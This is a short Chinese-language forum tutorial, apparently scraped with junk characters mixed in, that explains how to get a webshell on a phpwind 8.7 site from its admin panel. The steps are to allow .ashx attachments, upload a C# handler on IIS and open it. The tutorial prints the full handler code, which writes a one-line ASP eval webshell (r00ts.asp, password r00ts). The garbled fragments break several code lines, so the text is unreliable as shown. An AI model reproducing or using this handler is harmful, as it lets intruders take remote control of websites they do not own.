phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
; B) q) L) `1 M/ z
- o8 C0 e/ x3 I+ V4 \打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
5 s6 J$ y/ i- g
下面是代码:
) T7 j" o* U+ H9 d
<%@ WebHandler Language="C#"Class="Handler" %>
+ v# o" A/ O7 \using System;
' |$ ?$ R" O2 ?# g: [7 Tusing System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
" ], c, c5 j5 w6 u* d+ t: h# oStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
- q% |. b! o7 ufile1.Write("<%eval request(\"r00ts\")%>");
9 j$ \: D! H) o+ {( j! [1 cfile1.Flush();
$ T* S. a" @* t% p9 k; _file1.Close();
9 o$ A8 c% a7 F9 v  {5 R0 \. p}
% l& v- u- u9 q  mpublic bool IsReusable {
get {
return false;
}
}
}